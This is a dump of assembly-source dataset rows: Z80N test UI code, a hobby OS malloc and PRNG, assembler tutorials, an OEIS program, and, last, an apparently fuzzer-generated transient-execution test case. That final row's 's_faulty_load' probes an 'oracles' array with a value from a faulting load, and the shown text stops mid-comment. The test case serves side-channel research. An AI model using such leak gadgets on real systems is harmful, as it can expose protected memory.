hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
691bdca14cd0cc1a14822fcbc3b589cf9051fe0c
| 12,847
|
asm
|
Assembly
|
Tests/base/Z80N/UIcode.i.asm
|
MrKWatkins/ZXSpectrumNextTests
|
d22f01338ef15b788bd324a32ba9c5ac335f71a3
|
[
"MIT"
] | 23
|
2018-05-20T16:40:41.000Z
|
2022-01-03T23:12:38.000Z
|
Tests/base/Z80N/UIcode.i.asm
|
ped7g/ZXSpectrumNextTests
|
3a3082cf3b2b17e1d9cd4f1d5c71934a2c3ce862
|
[
"MIT"
] | 3
|
2020-06-05T17:00:39.000Z
|
2021-06-27T16:37:06.000Z
|
Tests/base/Z80N/UIcode.i.asm
|
ped7g/ZXSpectrumNextTests
|
3a3082cf3b2b17e1d9cd4f1d5c71934a2c3ce862
|
[
"MIT"
] | 2
|
2019-02-04T16:57:02.000Z
|
2019-08-26T17:48:18.000Z
|
; symbols to be defined externally:
; -- main data --
; TEST_OPT_BIT_FULL - option "full" bit number
; TestOptions - currently selected options by user
; HelpTxt - chain of strings (will be printed per line), empty string marks total end
; MachineInfoLabels - top line labels (two, first is "machineID", second "core")
; INSTRUCTIONS_CNT - amount of Z80N instructions (arrays size, loop size, etc)
; InstructionsData_KeyLegends - array of pair<byte ASCII_key,byte key_code>
; InstructionsData_Details - array of 4-byte structs
; InstructionsData_Encoding - array of 4-byte encoding
; InstructionMnemonics - series of INSTRUCTIONS_CNT strings
; -- various positional configuration (position of attributes, etc) --
; KEY_ATTR_OFS_HELP, KEY_ATTR_OFS_TURBO, KEY_ATTR_OFS_FULL, KEY_ATTR_OFS_RUN
; KEY_ATTR_OFS_INSTR, KEY_ATTR_OFS_CORE
; CHARPOS_ENCODING, CHARPOS_INS_END, CHARPOS_INS_KEY, CHARPOS_STATUS
; -- code --
; RunZ80nTest - A: 0..(INSTRUCTIONS_CNT-1) - index of instruction to run test
; possible results (levels of OK are how many tests sub-parts were skipped)
; these are offsets into ResultStringBase texts definitions
RESULT_NONE equ 3
RESULT_ERR equ 0
RESULT_OK equ 4 ; i.e. OK0
RESULT_OK1 equ 7
RESULT_OK2 equ 11
ALIGN 16
ResultStringBase:
db 'ERR',0,'OK',0,'OK1',0,'OK2',0
; if opcode is "special", these are offsets into SpecialOpcodeMnemonics string
OPCODE_TXT_NONE equ 0
OPCODE_TXT_VALUE equ 2
OPCODE_TXT_LOW equ 4
OPCODE_TXT_HIGH equ 6
OPCODE_TXT_REG equ 8
ALIGN 16
SpecialOpcodeMnemonics:
db ' nnlohirr'
;;;;;;;;;;;;;; test heartbeat progress bar routines ;;;;;;;;;;;;;
Heartbeat_Line0Attribs:
ds 32
Heartbeat_InitialAttribute:
db A_BRIGHT|P_BLACK|BLACK
; macros to initialize heartbeat to expect at least N-many beats. It's OK-ish to
; call Heartbeat more than N times, but the progress bar will be "full" after N.
MACRO INIT_HEARTBEAT_256
ld a,A_BRIGHT|P_BLACK|BLACK
call InitHeartbeat
ENDM
MACRO INIT_HEARTBEAT_32 ; this is minimal size, there's no less than 32
ld a,A_BRIGHT|P_WHITE|WHITE
call InitHeartbeat
ENDM
InitHeartbeat:
push af
push hl
push de
push bc
ld (Heartbeat_InitialAttribute),a
; backup current attributes of first line
ld hl,MEM_ZX_ATTRIB_5800
ld de,Heartbeat_Line0Attribs
ld bc,32
ldir
; reset current beat position
ld hl,MEM_ZX_ATTRIB_5800
ld (TestHeartbeat.CurrentBeatPos+1),hl
; "clear" first line
ld de,MEM_ZX_ATTRIB_5800+1
ld bc,31
ld (hl),P_MAGENTA|MAGENTA ; make first line pixels "invisible"
ldir
pop bc
pop de
pop hl
pop af
ret
TestHeartbeatFour:
call TestHeartbeatTwo
TestHeartbeatTwo:
call TestHeartbeat
; preserves everything (by using stack)
TestHeartbeat:
push af
push hl
.CurrentBeatPos:
ld hl,0
ld a,h
or l
jr z,.FullProgressBarOrUninitialized
ld a,(Heartbeat_InitialAttribute)
bit 6,(hl) ; check for BRIGHT = no bright = first time this square
jr z,.SetUpNewColour
; already some progress there, just increment by "one"
ld a,(hl)
add a,P_BLUE|BLUE
jp p,.SetUpNewColour ; when top bit (A_FLASH) becomes set, it's over...
; move to next square, if possible
inc l
ld a,l
cp 32
jr nc,.Full
ld (.CurrentBeatPos+1),hl
ld a,(Heartbeat_InitialAttribute)
.SetUpNewColour:
ld (hl),a
.FullProgressBarOrUninitialized:
pop hl
pop af
ret
.Full:
ld hl,0
ld (.CurrentBeatPos+1),hl
jr .FullProgressBarOrUninitialized
DeinitHeartbeat:
; restore attributes of first line (making pixels probably visible)
ld hl,Heartbeat_Line0Attribs
ld de,MEM_ZX_ATTRIB_5800
ld bc,32
ldir
ret
;;;;;;;;;;;;;; main screen full-redraw routine ;;;;;;;;;;;;;;;;;;
RedrawMainScreen:
ld a,GREEN
out (ULA_P_FE),a
; create attribute stripes to make lines easier to read
FILL_AREA MEM_ZX_ATTRIB_5800+1*32, 3*32, P_WHITE|BLACK ; restore "white" on 2nd+4th
FILL_AREA MEM_ZX_ATTRIB_5800+2*32, 32, P_CYAN|BLACK ; cyan at third line
; copy this white/cyan paper over full screen
ld hl,MEM_ZX_ATTRIB_5800+2*32
ld de,MEM_ZX_ATTRIB_5800+4*32
ld bc,32*24-4*32
ldir
; make top line green
FILL_AREA MEM_ZX_ATTRIB_5800, 32, P_GREEN|BLACK ; cyan at second line
;; this main screen drawing expect first line of screen to be clear(!)
; create vertical lines (over full screen, because I'm super lazy)
ld a,$08
ld hl,MEM_ZX_SCREEN_4000
push hl
push hl
pop ix
ld (ix+CHARPOS_ENCODING-1),a
ld (ix+CHARPOS_ENCODING+2),a
ld (ix+CHARPOS_ENCODING+5),a
ld (ix+CHARPOS_ENCODING+8),a
ld (ix+CHARPOS_INS_KEY-1),a
ld (ix+CHARPOS_STATUS-1),a
; now copy first line over full screen, so it will also clear it
ld de,MEM_ZX_SCREEN_4000+32
ld bc,32*191
ldir
; erase first line pixels
pop hl
ld bc, 32
.ClearLine0Loop:
xor a
ld l,a
call FillArea
inc h
ld a,h
cp $48
jr nz,.ClearLine0Loop
; highlight control keys
ld ix,MEM_ZX_ATTRIB_5800
set 6,(ix+KEY_ATTR_OFS_HELP) ; set BRIGHT bit of attributes
set 6,(ix+KEY_ATTR_OFS_TURBO)
set 6,(ix+KEY_ATTR_OFS_FULL)
set 6,(ix+KEY_ATTR_OFS_RUN)
; update options status
call UpdateToplineOptionsStatus
; highlight keys for particular tests
ld de,32
ld b,INSTRUCTIONS_CNT
ld hl,InstructionsData_KeyLegends
xor a
.HighlightKeysLoop:
add ix,de
cp (hl)
jr z,.skipInstructionKeyHighlight
set 6,(ix+KEY_ATTR_OFS_INSTR)
.skipInstructionKeyHighlight:
inc hl
inc hl
djnz .HighlightKeysLoop
; show Main line legend, MachineID and core version
ld de,MEM_ZX_SCREEN_4000
ld bc,MEM_ZX_SCREEN_4000+KEY_ATTR_OFS_CORE
; move core version +1 pos right if sub-minor version is under 100
NEXTREG2A NEXT_VERSION_MINOR_NR_0E
cp 100
jr nc,.SubMinorAboveEqual100
inc c
.SubMinorAboveEqual100:
ld ix,0 ; simple info only
ld hl,MachineInfoLabels
call OutMachineIdAndCore
;; print instruction table
; print instruction mnemonics
ld b,INSTRUCTIONS_CNT
ld de,MEM_ZX_SCREEN_4000+32
ld hl,InstructionMnemonics
.PrintInstructionMnemonics:
call OutStringAtDe
ex de,hl
call AdvanceVramHlToNextLine
ex de,hl
djnz .PrintInstructionMnemonics
;; print instruction opcodes, key-shortcut and status
ld de,0 ; number of instruction*4
ld hl,MEM_ZX_SCREEN_4000+32+CHARPOS_STATUS
.PrintInstructionDetails:
push hl
ld ix,InstructionsData_Details
add ix,de
; display status
call PrintTestStatus ; 3-letter statuses may advance OutCurrentAdr to next third!
; display key
ld a,l
sub CHARPOS_STATUS-CHARPOS_INS_KEY
ld l,a
ld (OutCurrentAdr),hl ; set up VRAM position (whole HL to reset VRAM third!)
push hl
ld hl,InstructionsData_KeyLegends
rrc e
add hl,de ; += instruction_inde*2
rlc e
ld a,(hl) ; shortcut-key ASCII
or a
call nz,OutChar
pop hl
; display instruction encoding
ld a,l
sub CHARPOS_INS_KEY-CHARPOS_ENCODING
ld (OutCurrentAdr),a ; set up VRAM output position
ld a,(ix) ; encoding bytes [2:0], special mask [7:3] (from top to bottom)
ld c,a ; special mask into C
and 7
ld b,a ; bytes count into B
ld ix,InstructionsData_Encoding
add ix,de
; b = number of bytes, c = special mask (at top bits)
.PrintSingleOpcodeByte:
ld a,(ix)
inc ix
rl c
jr c,.SpecialOpcodeByte
; ordinary opcode byte
call OutHexaValue
jr .SkipVerticalLineInOpcodes
.SpecialOpcodeByte:
add a,SpecialOpcodeMnemonics&$FF
ld l,a
ld h,SpecialOpcodeMnemonics>>8
ld a,(hl)
call OutChar
inc hl
ld a,(hl)
call OutChar
.SkipVerticalLineInOpcodes:
ld a,' '
call OutChar
djnz .PrintSingleOpcodeByte
pop hl
; advance to "next line"
call AdvanceVramHlToNextLine
ld a,4
add a,e
ld e,a
cp INSTRUCTIONS_CNT*4
jr nz,.PrintInstructionDetails
ret
;IX: instruction details data, HL: VRAM address for output
PrintTestStatus:
ld (OutCurrentAdr),hl ; set up VRAM output position
push hl
; display status
ld a,(ix+1) ; fetch status
cp RESULT_ERR
jr nz,.KeepBorderAsIs
; set red border in case any "ERR" status is displayed
ld a,RED
out (ULA_P_FE),a
ld a,RESULT_ERR ; restore value
.KeepBorderAsIs:
; print status string
add a,ResultStringBase&$FF
ld l,a
ld h,ResultStringBase>>8
call OutString
pop hl
ret
UpdateToplineOptionsStatus:
; update "turbo" attributes
ld hl,MEM_ZX_ATTRIB_5800+KEY_ATTR_OFS_TURBO+1
ld a,(TestOptions)
and 1<<TEST_OPT_BIT_TURBO
ld a,P_BLACK|GREEN
jr nz,.TurboIsOn
ld a,P_GREEN|BLACK
.TurboIsOn:
ld (hl),a
inc l
ld (hl),a
inc l
ld (hl),a
; update "full" attributes
ld l,KEY_ATTR_OFS_FULL+1
ld a,(TestOptions)
and 1<<TEST_OPT_BIT_FULL
ld a,P_BLACK|GREEN
jr nz,.FullIsOn
ld a,P_GREEN|BLACK
.FullIsOn:
ld (hl),a
inc l
ld (hl),a
inc l
ld (hl),a
ret
;;;;;;;;;;;;;; help screen full-redraw routine ;;;;;;;;;;;;;;;;;;
HelpKeyHandler:
; draw help screen
FILL_AREA MEM_ZX_SCREEN_4000, 192*32, 0
FILL_AREA MEM_ZX_ATTRIB_5800, 24*32, P_WHITE|BLACK
ld de, MEM_ZX_SCREEN_4000
ld hl, HelpTxt
.DisplayAllHelpStrings:
call OutStringAtDe
ex de,hl
call AdvanceVramHlToNextLine
ex de,hl
ld a,(hl)
or a
jr nz,.DisplayAllHelpStrings
; wait for any key, and then redraw main screen
call WaitForAnyKey
jp RedrawMainScreen ; restore main screen + return
;;;;;;;;;;;;;;;; key controls routines (setup + handlers) ;;;;;;;;;;;;
SetupKeyControl:
REGISTER_KEY KEY_1, HelpKeyHandler
REGISTER_KEY KEY_2, TurboKeyHandler
REGISTER_KEY KEY_3, FullKeyHandler
REGISTER_KEY KEY_5, GoKeyHandler
; register all single-test keys
ld hl,InstructionsData_KeyLegends
ld de,SingleTestKeyHandler
ld b,INSTRUCTIONS_CNT
.RegisterSingleTestHandlersLoop:
inc hl
ld a,(hl)
inc hl
call RegisterKeyhandler ; KEY_NONE will be rejected by Register function
djnz .RegisterSingleTestHandlersLoop
ret
TurboKeyHandler:
; flip turbo ON/OFF option
ld a,(TestOptions)
xor 1<<TEST_OPT_BIT_TURBO
ld (TestOptions),a
; refresh main screen top line status
call UpdateToplineOptionsStatus
; switch the turbo ON/OFF actually
jp SetTurboModeByOption ; + ret
FullKeyHandler: ; "Full" is selecting faster/slower test variants
; flip full ON/OFF option
ld a,(TestOptions)
xor 1<<TEST_OPT_BIT_FULL
ld (TestOptions),a
; refresh main screen top line status
call UpdateToplineOptionsStatus
; switch the tests set by full-option
jp SetTestsModeByOption ; + ret
GoKeyHandler: ; run all tests sequentially with current settings
xor a
.runTestLoop: ; runn all tests 0..22 (nullptr tests will be skipped safely)
push af
call RunZ80nTest
pop af
inc a
cp INSTRUCTIONS_CNT
jr nz,.runTestLoop
ret
SingleTestKeyHandler: ; DE = keycode
; find which test line was picked
ld hl,InstructionsData_KeyLegends
ld bc,INSTRUCTIONS_CNT<<8 ; C=0, B=INSTRUCTIONS_CNT
.findTestLoop:
inc hl
ld a,(hl)
inc hl
cp e
jr z,.testFound
inc c
djnz .findTestLoop
; test not found?! how??
ret
.testFound:
ld a,c ; A = 0..22 number of test
jp RunZ80nTest
| 30.157277
| 92
| 0.622169
|
52a9f18c572a5018d15944d10705ab7cad81f791
| 426
|
asm
|
Assembly
|
programs/subtract_two_numbers.asm
|
blurpy/8-bit-computer-emulator
|
cc5fbdaccbe36c7be42b636d91837726f4e5b97c
|
[
"MIT"
] | 12
|
2021-03-28T13:31:18.000Z
|
2022-03-23T04:17:32.000Z
|
programs/subtract_two_numbers.asm
|
blurpy/8-bit-computer-emulator
|
cc5fbdaccbe36c7be42b636d91837726f4e5b97c
|
[
"MIT"
] | 1
|
2021-05-22T17:35:16.000Z
|
2021-05-22T17:35:16.000Z
|
programs/subtract_two_numbers.asm
|
blurpy/8-bit-computer-emulator
|
cc5fbdaccbe36c7be42b636d91837726f4e5b97c
|
[
"MIT"
] | null | null | null |
LDA 14 ; Put the value from memory location 14 in the A-register
SUB 15 ; Put the value from memory location 15 in the B-register, and store A-B in the A-register
OUT ; Output the value of the A-register
HLT ; Halt the computer
ORG 14 ; Change memory location to 14
DB 30 ; Define a byte with the value 30 at memory location 14
DB 12 ; Define a byte with the value 12 at memory location 15
| 53.25
| 101
| 0.694836
|
ac405d7c2844d76b56d53ce3f0510eee784ef7ab
| 3,709
|
asm
|
Assembly
|
lib/stdlib.asm
|
lodvaer/YHBT
|
f0c998d05c40b0ad8c35d7873fbdf5847a927b25
|
[
"BSD-3-Clause"
] | 2
|
2020-10-16T18:57:46.000Z
|
2021-06-19T20:40:31.000Z
|
lib/stdlib.asm
|
lodvaer/YHBT
|
f0c998d05c40b0ad8c35d7873fbdf5847a927b25
|
[
"BSD-3-Clause"
] | null | null | null |
lib/stdlib.asm
|
lodvaer/YHBT
|
f0c998d05c40b0ad8c35d7873fbdf5847a927b25
|
[
"BSD-3-Clause"
] | 1
|
2019-07-19T09:00:58.000Z
|
2019-07-19T09:00:58.000Z
|
;; Standard library definitions.
EXIT_FAILURE = 1
EXIT_SUCCESS = 0
NULL = 0
RAND_MAX = 1 shl 32 - 1
; include 'lib/wait.asm' ?
WNOHANG = 0
WUNTRACED = 0
WEXITSTATUS = 0
WIFEXITED = 0
WIFSIGNALED = 0
WIFSTOPPED = 0
WSTOPSIG = 0
WTERMSIG = 0
; Constants:
_Exit = panic
abort = panic
exit = panic
append TO_INIT_64, malloc.init
macro malloc.init {
mov rax, MALLOC_MAX
mov rbx, [malloc.base]
mov [rbx], rax
}
ivar malloc.base, HIGH_HALF + MALLOC_ORIG
ivar malloc.max, MALLOC_MAX
var malloc.current
var_lock malloc.lock
;! Allocate memory before the init routines are done.
;: Int size -> *Mem
; Please note that there is no preinit_free...
preinit_malloc:
mov rax, [malloc.base]
add [malloc.base], rdi
sub [malloc.max], rdi
ret
;! Allocate memory aligned by 10h
;: Int size -> *Mem
;- rdi, rsi
proc 0, malloc_a10h
add rdi, 8
call malloc
test eax, 0Fh
retz
mov rsi, [rax - 8]
sub rsi, 8
mov qword [rax - 8], 0
mov [rax], rsi
add rax, 8
ret
endproc
;! Allocate memory
;: Int size -> *Mem
;- rdi, rsi
; rdi must be a multiple of 8 to not screw up the alignment.
; TODO: Make one that isn't teh suck.
proc 0, malloc
push rbx, r15
spinlock save, .lock, a, b
assert rdi, ne, 0, "malloc: Called with 0."
assert_t rdi, z, 07h, "malloc: 8-byte aligned, please."
xor r15, r15
mov rbx, [.base]
mov rsi, [.current]
.loopy:
cmp rsi, [.max]
jae .fail
mov rax, [rbx + rsi]
assert rax, ne, 0, "malloc: size of 0."
btr rax, 63 ; Test a bit to see if it's clear or not.
jnc .found
add rsi, rax
add rsi, 8
jmp .loopy
align 10h
.found:
; TODO: Collapse multiple.
cmp rax, rdi ; Large neough?
je .win_eq
ja .win_a
add rsi, rax ; Not? Next!
add rsi, 8
jmp .loopy
align 10h
.win_eq: ; Exact size!
; mov [.current], rsi
bts rax, 63 ; Taken
mov [rbx + rsi], rax ; It's the exact size, so don't bother
spinunlock save, .lock
lea rax, [rbx + rsi+8] ; with splitting.
pop rbx, r15
ret
align 10h
.win_a: ; Larger than needed.
bts rdi, 63
mov [rbx + rsi], rdi
btr rdi, 63
sub rax, rdi
add rsi, rdi
add rsi, 8
mov [rbx + rsi], rax
; mov [.current], rsi
sub rsi, rdi
sub rsi, 8
spinunlock save, .lock
lea rax, [rbx + rsi+8]
pop rbx, r15
ret
.fail:
or r15, r15
jnz .realfail ; Because the pointer is forever moving, we try twice.
inc r15
mov rsi, 0
jmp .loopy
.realfail:
; No, we seriously failed..
; TODO:
; Allocate another page
; Try again until there are no more pages.
;spinunlock save, .lock
mov rax, -1
pop rbx, r15
ret
endproc
;! Free a previously allocated pointer.
;: *Mem -> Null
; The exception library depends on this not fucking up rax
free:
btr qword [rdi - 8], 63
ret
macro _free what {
btr qword [what - 8], 63
}
; Unimplemented:
a64l:
l64a:
abs:
atexit:
atof:
atoi:
atol:
atoll:
bsearch:
calloc:
_div:
drand48:
ecvt:
erand48:
fcvt:
gcvt:
getenv:
getsubopt:
grantpt:
initstate:
jrand48:
labs:
lcong48:
ldiv:
llabs:
lldiv:
lrand48:
mblen:
mbstowcs:
mbtowc:
mktemp:
mkstemp:
mrand48:
nrand48:
posix_memalign:
posix_openpt:
ptsname:
putenv:
qsort:
var rand.state1
var rand.state2
; TODO: "Carefully choose" this constant to something better.
RAND_CONST equ 0836DFA444599DDE4h
;! Simple multiply-with-carry prng
;: IO Int
;- rdx
rand:
mov rax, RAND_CONST
mul qword [.state2]
add rdx, [.state1]
adc rax, 0
mov [.state1], rax
mov [.state2], rdx
mov rax, rdx
ret
rand_r:
random:
realloc:
realpath:
setenv:
setstate:
;! Seed the random number generator
;: Int -> Int -> IO ()
srand:
mov [rand.state1], rdi
mov [rand.state2], rsi
ret
srand48:
srandom:
strtod:
strtof:
strtol:
strtold:
strtoll:
strtoul:
strtoull:
system:
unlockpt:
unsetenv:
wcstombs:
wctomb:
; vim: ts=8 sw=8 syn=fasm
| 15.326446
| 69
| 0.676193
|
20f18f6bf712d64ce74f09a404ec03c95e1b656d
| 804
|
asm
|
Assembly
|
masm/12_args.asm
|
oceanwavechina/assembly
|
803e4a4c03645fbbc026092b3329ea472e070cab
|
[
"Apache-2.0"
] | null | null | null |
masm/12_args.asm
|
oceanwavechina/assembly
|
803e4a4c03645fbbc026092b3329ea472e070cab
|
[
"Apache-2.0"
] | null | null | null |
masm/12_args.asm
|
oceanwavechina/assembly
|
803e4a4c03645fbbc026092b3329ea472e070cab
|
[
"Apache-2.0"
] | null | null | null |
; 这段代码是演示:
; 实现大小写转换的功能
; 1. 子程序调用时参数传递的用法
; 2. 解决子程序调用时,寄存器冲突的方法:寄存器的值压栈
assume cs:code, ds:data
data segment
db 'conversation',0 ; 0结尾的字符串
data ends
code segment
start:
mov ax, data
mov ds, ax
mov si, 0 ; 字符串的首地址,相当于c语言中i=0;i<size;++i时的 i
mov cx, 12 ; 计数,相当于c语言中 i=0;i<size;++i 中的size
call capital ; 调用子程序
mov ax, 4c00h ; ˙程序结束
int 21h
capital:
push cx ; 因为这两个寄存器我们在子程序中用到了,所以要先保存
push si
_do_capital:
mov cl, [si] ; [si] 就是检测是不是最后一位的0
mov ch, 0 ; 计数,相当于c语言中 i=0;i<size;++i 中的++i
jcxz ok ; 如果cx中为0, 处理完毕
and byte ptr [si], 11011111b
inc si
jmp short _do_capital
ok:
pop si ; 为调用者还原寄存器
pop cx
ret
code ends
end start
| 18.272727
| 59
| 0.55597
|
ecbd90cc45a405d19c7f943cdd0f305d9c545e80
| 282
|
asm
|
Assembly
|
src/asmtutor.com/src/helloworld-lf.asm
|
ishirshov/NASM-tutorial-for-Unix
|
75173993e35e29bce1c04908573cc034ff32363e
|
[
"Apache-2.0"
] | null | null | null |
src/asmtutor.com/src/helloworld-lf.asm
|
ishirshov/NASM-tutorial-for-Unix
|
75173993e35e29bce1c04908573cc034ff32363e
|
[
"Apache-2.0"
] | null | null | null |
src/asmtutor.com/src/helloworld-lf.asm
|
ishirshov/NASM-tutorial-for-Unix
|
75173993e35e29bce1c04908573cc034ff32363e
|
[
"Apache-2.0"
] | null | null | null |
%include 'functions.asm'
SECTION .data
msg1 db 'Hello, brave world!', 0h
msg2 db 'This is how we recycle in NASM', 0h
SECTION .text
global _start
_start:
mov eax, msg1
call sprintLF
mov eax, msg2
call sprintLF
call quit
| 14.1
| 53
| 0.588652
|
ccb590a355a3b660774ad418b3b11092b069b267
| 285
|
asm
|
Assembly
|
programs/oeis/069/A069072.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/069/A069072.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/069/A069072.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A069072: a(n) = (2n+1)*(2n+2)*(2n+3).
; 6,60,210,504,990,1716,2730,4080,5814,7980,10626,13800,17550,21924,26970,32736,39270,46620,54834,63960,74046,85140,97290,110544,124950,140556,157410,175560,195054,215940,238266,262080,287430,314364,342930
mul $0,2
mov $1,-4
bin $1,$0
mul $1,6
| 35.625
| 205
| 0.726316
|
f78255c076ad581a24a7da076ea10fad5d6037a6
| 8,725
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2296.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2296.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2296.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x4172, %r10
nop
nop
nop
nop
nop
and $55794, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%r10)
nop
nop
nop
nop
add %r14, %r14
lea addresses_WC_ht+0xb742, %r8
xor $27041, %r10
movups (%r8), %xmm6
vpextrq $0, %xmm6, %rdi
nop
nop
nop
nop
xor $45717, %r14
lea addresses_WT_ht+0x1b942, %r12
nop
nop
cmp $42447, %rdi
movl $0x61626364, (%r12)
nop
nop
dec %r8
lea addresses_WC_ht+0x152cb, %r8
nop
nop
nop
and %rbx, %rbx
mov (%r8), %rdi
nop
nop
and %r14, %r14
lea addresses_UC_ht+0x19302, %rsi
nop
nop
nop
nop
nop
cmp $44973, %r8
movl $0x61626364, (%rsi)
nop
nop
inc %rbx
lea addresses_UC_ht+0x1c302, %rdi
nop
nop
dec %r10
movl $0x61626364, (%rdi)
nop
and %r8, %r8
lea addresses_WC_ht+0x103a, %rdi
nop
sub %r12, %r12
vmovups (%rdi), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r14
cmp %rsi, %rsi
lea addresses_D_ht+0xaa42, %rsi
lea addresses_D_ht+0x12142, %rdi
nop
nop
and %r10, %r10
mov $81, %rcx
rep movsb
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x1c1e, %rcx
nop
xor %r8, %r8
and $0xffffffffffffffc0, %rcx
vmovaps (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r14
nop
dec %r10
lea addresses_WT_ht+0x18302, %r12
clflush (%r12)
nop
nop
nop
nop
nop
and %r8, %r8
mov (%r12), %r10
nop
nop
nop
sub $23561, %rbx
lea addresses_WC_ht+0x1ee42, %rsi
lea addresses_WT_ht+0x1e742, %rdi
cmp %r12, %r12
mov $99, %rcx
rep movsq
nop
nop
nop
nop
nop
add $41993, %rbx
lea addresses_D_ht+0x5f42, %r12
nop
nop
add $19307, %rcx
movw $0x6162, (%r12)
nop
cmp $35037, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r9
push %rax
push %rbx
push %rcx
// Store
lea addresses_UC+0x3342, %rbx
xor $37092, %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm0
movups %xmm0, (%rbx)
cmp %r11, %r11
// Store
lea addresses_US+0xe28e, %r11
nop
nop
nop
nop
nop
and $49205, %rbx
movb $0x51, (%r11)
nop
and %r9, %r9
// Store
lea addresses_D+0x11542, %rcx
nop
nop
nop
nop
sub $18677, %r10
mov $0x5152535455565758, %r9
movq %r9, %xmm4
movaps %xmm4, (%rcx)
nop
nop
nop
nop
xor %r11, %r11
// Store
lea addresses_US+0x1a342, %rcx
nop
nop
nop
nop
nop
xor $9803, %r10
mov $0x5152535455565758, %r9
movq %r9, (%rcx)
nop
nop
nop
sub $40201, %r9
// Store
mov $0x3a0c110000000542, %r9
nop
and $48570, %r14
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%r9)
nop
nop
nop
nop
nop
inc %r10
// Load
lea addresses_A+0x1f342, %rbx
nop
nop
add $58912, %rcx
mov (%rbx), %r14d
nop
add %r9, %r9
// Store
lea addresses_A+0x17542, %r9
nop
nop
nop
nop
add $29200, %r14
mov $0x5152535455565758, %rbx
movq %rbx, (%r9)
nop
nop
dec %rax
// Faulty Load
lea addresses_UC+0x3342, %rax
nop
sub $43347, %r14
mov (%rax), %r11w
lea oracles, %r14
and $0xff, %r11
shlq $12, %r11
mov (%r14,%r11,1), %r11
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
